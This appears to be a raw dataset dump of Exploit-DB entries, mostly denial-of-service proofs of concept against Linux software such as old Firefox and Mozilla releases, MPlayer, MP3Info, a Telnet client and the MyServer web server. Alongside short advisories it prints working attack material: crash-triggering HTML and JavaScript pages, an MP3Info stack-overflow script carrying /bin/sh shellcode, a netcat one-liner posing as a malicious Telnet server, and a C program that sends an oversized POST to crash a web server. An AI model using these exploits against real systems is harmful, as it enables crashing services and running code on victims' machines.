deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24346
Description: Mozilla 1.x / Netscape 7.0/7.1 - SOAP Integer Overflow
Type: dos
Platform: linux
Date: 2004-08-02
Author: zen-parse

Exploit:
source: https://www.securityfocus.com/bid/10843/info

It is reported that Mozilla and Netscape contain an integer overflow vulnerability in the SOAPParameter object constructor. This overflow may result in the corruption of critical heap memory structures, leading to possible remote code execution.

An attacker can exploit this issue by crafting a malicious web page and having unsuspecting users view the page in a vulnerable version of Mozilla or Netscape.

Netscape 7.0, 7.1, and versions of Mozilla prior to 1.7.1 are known to be vulnerable to this issue. Users of affected versions of Netscape are urged to switch to Mozilla 1.7.1 or later, as new versions of Netscape are not likely to appear.

var p=new Array(0x40000001);
var q=new SOAPParameter(p);
Exploit-DB #28380
Description: Mozilla Firefox 1.0.x - JavaScript Handler Race Condition Memory Corruption
Type: dos
Platform: linux
Date: 2006-08-12
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/19488/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability. This issue is due to a race condition that may result in double-free or other memory-corruption issues.

Attackers may likely exploit this issue to execute arbitrary machine code in the context of the vulnerable application, but this has not been confirmed. Failed exploit attempts will likely crash the application.

Mozilla Firefox is vulnerable to this issue. Due to code reuse, other Mozilla products are also likely affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28380.zip
Exploit-DB #27253
Description: Mozilla Firefox 1.0.x/1.5 - HTML Parsing Denial of Service
Type: dos
Platform: linux
Date: 2006-02-21
Author: Yuan Qi

Exploit:
source: https://www.securityfocus.com/bid/16741/info

Mozilla Firefox is prone to a denial-of-service condition when parsing certain malformed HTML content. Successful exploitation will cause the browser to fail or hang.

This issue may be related to BID 11440 Mozilla Invalid Pointer Dereference Vulnerability, but this has not been confirmed.

Mozilla Firefox versions prior to 1.5.0.1 are prone to this issue.

<frameset></frameset>
<table><p><form><map><dl><table><small>
Exploit-DB #27635
Description: Mozilla Firefox 1.0.x/1.5 - HTML Parsing Null Pointer Dereference Denial of Service
Type: dos
Platform: linux
Date: 2006-04-13
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/17499/info

Mozilla Firefox is prone to a denial-of-service condition when parsing certain malformed HTML content. Successful exploitation will cause the browser to fail or hang.

Mozilla Firefox versions 1.5.0.1 and prior are prone to this issue.

<legend>
<kbd>
<object>
<h4>
</object>
</kbd>
Exploit-DB #28391
Description: Mozilla Firefox 1.x - XML Handler Race Condition Memory Corruption
Type: dos
Platform: linux
Date: 2006-08-15
Author: Michal Zalewski

Exploit:
source: https://www.securityfocus.com/bid/19534/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability because of a race condition that may result in double-free or other memory-corruption issues.

Attackers may likely exploit this issue to execute arbitrary machine code in the context of the vulnerable application, but this has not been confirmed. Failed exploit attempts will likely crash the application.

Mozilla Firefox is vulnerable to this issue. Due to code-reuse, other Mozilla products are also likely affected.

The Flock browser version 0.7.4.1 and the K-Meleon browser version 1.0.1 are also reported vulnerable.

<html> <body bgcolor=black text=white onload="javascript:foo()"> <script> <!-- counter = 0; function foo() { if (counter < 20) { document.getElementById('foo').src = "http://lcamtuf.coredump.cx/ffoxdie3_i.html?" +Math.random(); setTimeout('foo()',10 * counter); counter++; } else { document.getElementById('foo').src = "http://lcamtuf.coredump.cx/ffoxdie_ok.html"; } } // --> </script> <img src="http://lcamtuf.coredump.cx/photo/current/ula4-6.jpg" style="border-style: solid; border-width: 1px; border-color: #804040" align=right> <font face="tahoma, helvetica, arial"> <font color=lightblue> Tyger, Tyger. burning bright<br> In the forests of the night,<br> What immortal hand or eye<br> Could frame thy fearful symmetry? </font> <p> <b>Please wait approx. 20 seconds...</b> <br> <iframe id=foo> </iframe> <p> <font color=gray> Javascript is required.<br> Firefox is required.<br> May fail on a spotty link.<br> Common sense is advised.<br> <p> More photos: <a href=/photo/current/>click here</a> </font> </font> </body> </html>
Exploit-DB #29723
Description: Mozilla Firefox 2.0.0.2 - '.GIF' Handling Denial of Service
Type: dos
Platform: linux
Date: 2007-03-09
Author: Samuel

Exploit:
source: https://www.securityfocus.com/bid/22899/info

Firefox is prone to a remote denial-of-service vulnerability.

An attacker may exploit this vulnerability to cause the application to crash, resulting in denial-of-service conditions.

Little is known regarding this vulnerability; this BID will be updated when more information is disclosed.

Firefox 2.0.0.2 is prone to this issue; other versions may also be affected.

GIMP version 2.2.12 is also reported vulnerable; a segmentation fault occurs when the application processes a malicious GIF image.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29723.zip
Exploit-DB #31984
Description: Mozilla Firefox 3.0 - '.JPEG' File Denial of Service
Type: dos
Platform: linux
Date: 2008-06-27
Author: Beenu Arora

Exploit:
source: https://www.securityfocus.com/bid/29984/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

This issue affects Firefox 3 running on Ubuntu Linux 8.04; other versions running on different platforms may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31984.jpg
Exploit-DB #33042
Description: Mozilla Firefox 3.0.10 - 'nsViewManager.cpp' Denial of Service
Type: dos
Platform: linux
Date: 2009-05-11
Author: Bret McMillan

Exploit:
source: https://www.securityfocus.com/bid/35413/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

Firefox 3.0.2 through 3.0.10 are vulnerable. 

Start Firefox
Open new tab
Go to a space
Open "Create a new document" in a new tab
Click Continue (Write a New Document)
Enter any name for the document like "test123" for the document
Switch to HTML
Paste attached HTML as the content
Click Publish
Quit Firefox & click "Save and Quit"
(edit sequence:)
Start Firefox (which should open two tabs from previous session)
Click OK to any authentication windows that pop up.
Click to focus on the second tab
Click on "Edit document" link
*CRASH*
Exploit-DB #33101
Description: Mozilla Firefox 3.0.11 and Thunderbird 2.0.9 - RDF File Handling Remote Memory Corruption
Type: dos
Platform: linux
Date: 2009-06-21
Author: Christophe Charron

Exploit:
source: https://www.securityfocus.com/bid/35775/info

Mozilla Firefox and Thunderbird are prone to a remote memory-corruption vulnerability that attackers can exploit to cause denial-of-service conditions and possibly execute arbitrary code.

The vulnerability is fixed in Firefox 3.0.12 and 3.5. Note that Thunderbird is also affected but Mozilla hasn't specified the vulnerable and fixed versions.

This vulnerability was previously covered in BID 35758 (Mozilla Firefox MFSA 2009-34, -35, -36, -37, -39, -40 Multiple Vulnerabilities) but has been assigned its own record to better document the issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33101.zip
Exploit-DB #33314
Description: Mozilla Firefox 3.0.14 - Remote Memory Corruption
Type: dos
Platform: linux
Date: 2009-10-27
Author: Carsten Book

Exploit:
source: https://www.securityfocus.com/bid/36866/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

NOTE: This issue was previously covered in BID 36843 (Mozilla Firefox and SeaMonkey MFSA 2009-52 through -64 Multiple Vulnerabilities), but has been assigned its own record to better document it. 

<html><head><script> function doe2(i) { document.getElementById('a').setAttribute('style', 'display: -moz-box; '); document.getElementById('c').style.display= 'none'; } setTimeout(doe2,500,0); </script> <style> div::first-letter {float: right; } </style> </head> <body> <div style="width: 50px; -moz-column-count: 2;"> a <span style="display: table-cell;"></span><div style="display: -moz-box; font-size: 43px;"> <span id="a"> <span style="display: -moz-box;"> <span id="c">m</span> </span> </span> </div> </div> </body> </html>
Exploit-DB #32961
Description: Mozilla Firefox 3.0.9 - 'nsTextFrame::ClearTextRun()' Remote Memory Corruption
Type: dos
Platform: linux
Date: 2009-04-27
Author: Marc Gueury

Exploit:
source: https://www.securityfocus.com/bid/34743/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability.

Successful exploits will allow remote attackers to execute arbitrary code within the context of the affected browser or crash the browser, denying service to legitimate users. 

<html><head><title> Bug 489647 - New 1.9.0.9 topcrash [@nsTextFrame::ClearTextRun()]</title></head> <body> <div id="a" style="white-space: pre;"> m</div> <script> function doe() { document.getElementById('a').childNodes[0].splitText(1); } setTimeout(doe, 100); </script> </body> </html>
Exploit-DB #33031
Description: Mozilla Firefox 3.0.x - Large '.GIF' File Background Denial of Service
Type: dos
Platform: linux
Date: 2009-05-10
Author: Ahmad Muammar

Exploit:
source: https://www.securityfocus.com/bid/35280/info

Mozilla Firefox is prone to a remote denial-of-service vulnerability.

Successful exploits can allow attackers to crash the affected browser, resulting in denial-of-service conditions.

Firefox 3.0.10 is affected; other versions may also be vulnerable. 

<!-- Firefox 3.0.10 DOS exploit, discovered by Ahmad Muammar W.K (y3dips[at]echo[dot]or[dot]id) http://y3dips.echo.or.id //--> <html> <head> <title>Firefox Exploit</title> <body background="exploit.gif"> </body> </html>
Exploit-DB #33312
Description: Mozilla Firefox 3.5.3 - Floating Point Conversion Heap Overflow
Type: dos
Platform: linux
Date: 2009-10-27
Author: Alin Rad Pop

Exploit:
source: https://www.securityfocus.com/bid/36851/info

Mozilla Firefox is prone to a heap-based buffer-overflow vulnerability.

An attacker can exploit this issue by tricking a victim into visiting a malicious webpage to execute arbitrary code and to cause denial-of-service conditions.

NOTE: This issue was previously covered in BID 36843 (Mozilla Firefox and SeaMonkey MFSA 2009-52 through -64 Multiple Vulnerabilities).

NOTE 2: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record.

<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>
Exploit-DB #33801
Description: Mozilla Firefox/Thunderbird/SeaMonkey - Multiple Memory Corruption Vulnerabilities
Type: dos
Platform: linux
Date: 2010-03-24
Author: Bob Clary

Exploit:
source: https://www.securityfocus.com/bid/38944/info

Mozilla Firefox, Thunderbird and Seamonkey are prone to multiple remote memory-corruption vulnerabilities.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

NOTE: These issues were previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but have been assigned their own record to better document them.

<html> <head></head> <body style="font-family: monospace; width: 0;"> <div style="-moz-column-count: 4;"><div>a b c d<span style="display: list-item;"></span></div></div> </body> </html>
Exploit-DB #25334
Description: Mozilla Suite/Firefox - JavaScript Lambda Replace Heap Memory Disclosure
Type: dos
Platform: linux
Date: 2005-04-04
Author: Daniel McNeil

Exploit:
source: https://www.securityfocus.com/bid/12988/info

Mozilla Suite/Firefox are reported prone to a memory-disclosure vulnerability. This issue can allow a remote attacker to access arbitrary heap memory.

Due to an error in the way 'replace()' handles lambda expressions, a remote attacker can access arbitrary heap memory from a vulnerable client.

Information harvested in this manner could then aid in further attacks launched against the vulnerable computer (such as memory-corruption exploits).

Firefox versions 1.0.1 and 1.0.2 are reported vulnerable. Mozilla 1.7.6 is vulnerable as well. Other versions may also be affected.

K-Meleon 0.9 is vulnerable to this issue. Older versions may be affected as well.

Camino 0.8.3 is affected by this issue. Other versions of Camino may be affected as well.

var rx=/val/i;
x = x.replace(rx,function($1){
$1.match(rx);
return "";
});
Exploit-DB #27246
Description: Mozilla Thunderbird 1.5 - Address Book Import Remote Denial of Service
Type: dos
Platform: linux
Date: 2006-02-17
Author: DrFrancky

Exploit:
source: https://www.securityfocus.com/bid/16716/info

Mozilla Thunderbird is prone to a remote denial-of-service vulnerability. 

The issue presents itself when the application handles a specially crafted address book file.

Mozilla Thunderbird 1.5 is reportedly affected by this issue. Other versions may be vulnerable as well.

POC: create a file.ldif and insert following then import it in address book:
n: cn=Test POC by DrFrancky@securax.org,mail=drfrancky@securax.org
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
objectclass: mozillaAbPersonAlpha
givenName: Test
sn: POC by DrFrancky@securax.org
cn: POC by DrFrancky@securax.org
mozillaNickname: DrFrancky
mail: drfrancky@securax.org
nsAIMid: DrFrancky POC
modifytimestamp: 0Z
homePhone: aaaaaaaaaaaaaaa[2MB of 'a']
Exploit-DB #31220
Description: MP3Info 0.8.5a - Buffer Overflow
Type: dos
Platform: linux
Date: 2014-01-27
Author: jsacco

Exploit:
# Waste of CPU clock N2
# Exploit for: mp3info! Latest version
# Author: jsacco - jsacco@exploitpack.com
# Vendor: http://ibiblio.org/mp3info/
# No-one-cares-about programs!

junk = "\x90\x90\x90\x90"*8 
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer = "\x90\x90\x90\x90"*89
eip = "\x10\xf0\xff\xbf"

print "# MP3info is prone to a Stack-BoF"
print "# Wasting CPU clocks on unusable exploits"
print "# This is exploit is for educational purposes"

try:
    subprocess.call(["mp3info", junk+shellcode+buffer+eip])
except OSError as e:
    if e.errno == os.errno.ENOENT:
    	print "MP3Info not found!"
    else:
   	print "Error executing exploit" 
    raise
Exploit-DB #32856
Description: MPlayer - '.AAC' File Handling Denial of Service
Type: dos
Platform: linux
Date: 2008-10-07
Author: Hanno Bock

Exploit:
source: https://www.securityfocus.com/bid/34136/info

MPlayer is prone to multiple denial-of-service vulnerabilities when handling malformed media files.

Successfully exploiting this issue allows remote attackers to deny service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32856.aac
Exploit-DB #32857
Description: MPlayer - '.OGM' File Handling Denial of Service
Type: dos
Platform: linux
Date: 2008-10-07
Author: Hanno Bock

Exploit:
source: https://www.securityfocus.com/bid/34136/info
 
MPlayer is prone to multiple denial-of-service vulnerabilities when handling malformed media files.
 
Successfully exploiting this issue allows remote attackers to deny service to legitimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32857.ogm
Exploit-DB #23896
Description: MPlayer 0.9/1.0 - Remote HTTP Header Buffer Overflow
Type: dos
Platform: linux
Date: 2004-03-30
Author: blexim

Exploit:
source: https://www.securityfocus.com/bid/10008/info

It has been reported that MPlayer is prone to a remote HTTP header buffer overflow vulnerability. This issue is due to a failure of the application to properly verify buffer bounds on the 'Location' HTTP header during parsing.

Successful exploitation would immediately produce a denial of service condition in the affected process. This issue may also be leveraged to execute code on the affected system within the security context of the user running the vulnerable process. 

Issuing the following command will cause the affected process to crash:
$ mplayer http://`perl -e 'print "\""x1024;'`
Exploit-DB #30578
Description: MPlayer 1.0 - AVIHeader.C Heap Buffer Overflow
Type: dos
Platform: linux
Date: 2007-09-12
Author: Code Audit Labs

Exploit:
source: https://www.securityfocus.com/bid/25648/info

MPlayer is prone to a heap-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input data.

Attackers can exploit this issue to execute arbitrary code with the privileges of the user running the application. Failed attacks will result in denial-of-service conditions.

MPlayer 1.0rc1 is vulnerable; other versions may also be affected.

NOTE: The vendor states that this issue is present only on operating systems with a 'calloc' implementation that is prone to an integer-overflow issue. 

The following proof-of-concept AVI header data is available:
69 6E 64 78 00 FF FF FF 01 11 64 73 20 00 00 10

indx truck size 0xffffff00
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020
Exploit-DB #29399
Description: Multiple PDF Readers - Multiple Remote Buffer Overflows
Type: dos
Platform: linux
Date: 2007-01-06
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/21910/info

Multiple PDF readers are prone to multiple remote buffer-overflow vulnerabilities because the applications fail to bounds-check user-supplied data before copying it into an insufficiently sized buffer. 

An attacker may be able exploit this issue to execute arbitrary code within the context of the affected application. In some circumstances, the vulnerability can be exploited only to cause a denial of service.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29399.pdf
Exploit-DB #25303
Description: Multiple Vendor Telnet Client - Env_opt_add Heap Buffer Overflow
Type: dos
Platform: linux
Date: 2005-03-28
Author: Gael Delalleau

Exploit:
source: https://www.securityfocus.com/bid/12919/info

Multiple vendors' Telnet client applications are reported prone to a remote buffer-overflow vulnerability. This vulnerability reportedly occurs in the 'env_opt_add()' function in the 'telnet.c' source file, which is apparently common source for all the affected vendors.

A remote attacker may exploit this vulnerability to execute arbitrary code on some of the affected platforms in the context of a user that is using the vulnerable Telnet client to connect to a malicious server. 

perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23
Exploit-DB #34228
Description: Mumble Murmur 1.2 - Denial of Service
Type: dos
Platform: linux
Date: 2010-06-29
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/41251/info

Mumble Murmur is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

Mumble versions 1.2.2 and prior are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34228.zip
Exploit-DB #551
Description: MyServer 0.7.1 - 'POST' Denial of Service
Type: dos
Platform: linux
Date: 2004-09-27
Author: Tom Ferris

Exploit:
/****************************/ 
PoC to crash the server 
/****************************/ 

/* MyServer 0.7.1 POST Denial Of Service 
vendor URL: 
http://www.myserverproject.net 

coded and discovered by: 
badpack3t 
for .:sp research labs:. 
www.security-protocols.com 
9.20.2004 
Tested on Mandrake 10.0 

usage: 
sp-myserv-0.7.1 [targetport] (default is 80) 
*/ 

#include <'winsock2.h> 
#include <'stdio.h> 

#pragma comment(lib, "ws2_32.lib") 

char exploit[] = 

"POST index.html?View=Logon HTTP/1.1 " 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
": ihack.ms "; 

int main(int argc, char *argv[]) 
{ 
WSADATA wsaData; 
WORD wVersionRequested; 
struct hostent *pTarget; 
struct sockaddr_in sock; 
char *target; 
int port,bufsize; 
SOCKET mysocket; 

if (argc < 2) 
{ 
printf("MyServer 0.7.1 POST DoS by badpack3t ", argv[0]); 
printf("Usage: %s [targetport] (default is 80) ", argv[0]); 
printf("www.security-protocols.com ", argv[0]); 
exit(1); 
} 

wVersionRequested = MAKEWORD(1, 1); 
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; 

target = argv[1]; 
port = 80; 

if (argc >= 3) port = atoi(argv[2]); 
bufsize = 1024; 
if (argc >= 4) bufsize = atoi(argv[3]); 

mysocket = socket(AF_INET, SOCK_STREAM, 0); 
if(mysocket==INVALID_SOCKET) 
{ 
printf("Socket error! "); 
exit(1); 
} 

printf("Resolving Hostnames... "); 
if ((pTarget = gethostbyname(target)) == NULL) 
{ 
printf("Resolve of %s failed ", argv[1]); 
exit(1); 
} 

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); 
sock.sin_family = AF_INET; 
sock.sin_port = htons((USHORT)port); 

printf("Connecting... "); 
if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) ))) 
{ 
printf("Couldn't connect to host. "); 
exit(1); 
} 

printf("Connected!... "); 
printf("Sending Payload... "); 
if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1) 
{ 
printf("Error Sending the Exploit Payload "); 
closesocket(mysocket); 
exit(1); 
} 

printf("Payload has been sent! Check if the webserver is dead! "); 
closesocket(mysocket); 
WSACleanup(); 
return 0; 
}

// milw0rm.com [2004-09-27]